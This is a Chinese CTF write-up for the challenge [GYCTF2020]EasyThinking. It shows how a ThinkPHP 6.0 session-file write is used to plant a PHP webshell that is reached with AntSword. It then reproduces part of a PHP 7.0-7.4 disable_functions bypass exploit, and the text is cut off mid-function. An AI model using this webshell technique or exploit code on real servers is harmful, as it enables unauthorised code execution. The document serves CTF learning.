[GYCTF2020]EasyThinking
一开始还以为是XSS漏洞,因为搜索记录会被保存。后来查了才知道是Thinkphp 6.0框架的任意文件操作漏洞。先注册一个账号登录,登录时抓包修改Session id为php文件名,长度是32位
session文件在/runtime/session/目录下,这是默认的。文件名是sess_加我们刚刚写的32位字符串:sess_0123456789012345678901234567.php。
我们可以先来看一下此时这个文件里有什么
然后我们搜索一下再看这个文件,可以看到我们搜索的字符串是被写进去了。
把一句话木马写进去,蚁剑连一下。连进去了但是不能读flag,要绕过disable_functions
github上找绕过的脚本,这老哥真强啊https://github.com/mm0r1/exploits/tree/master/php-filter-bypass
有很多可以用的版本,根据网站的php版本来选好了
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n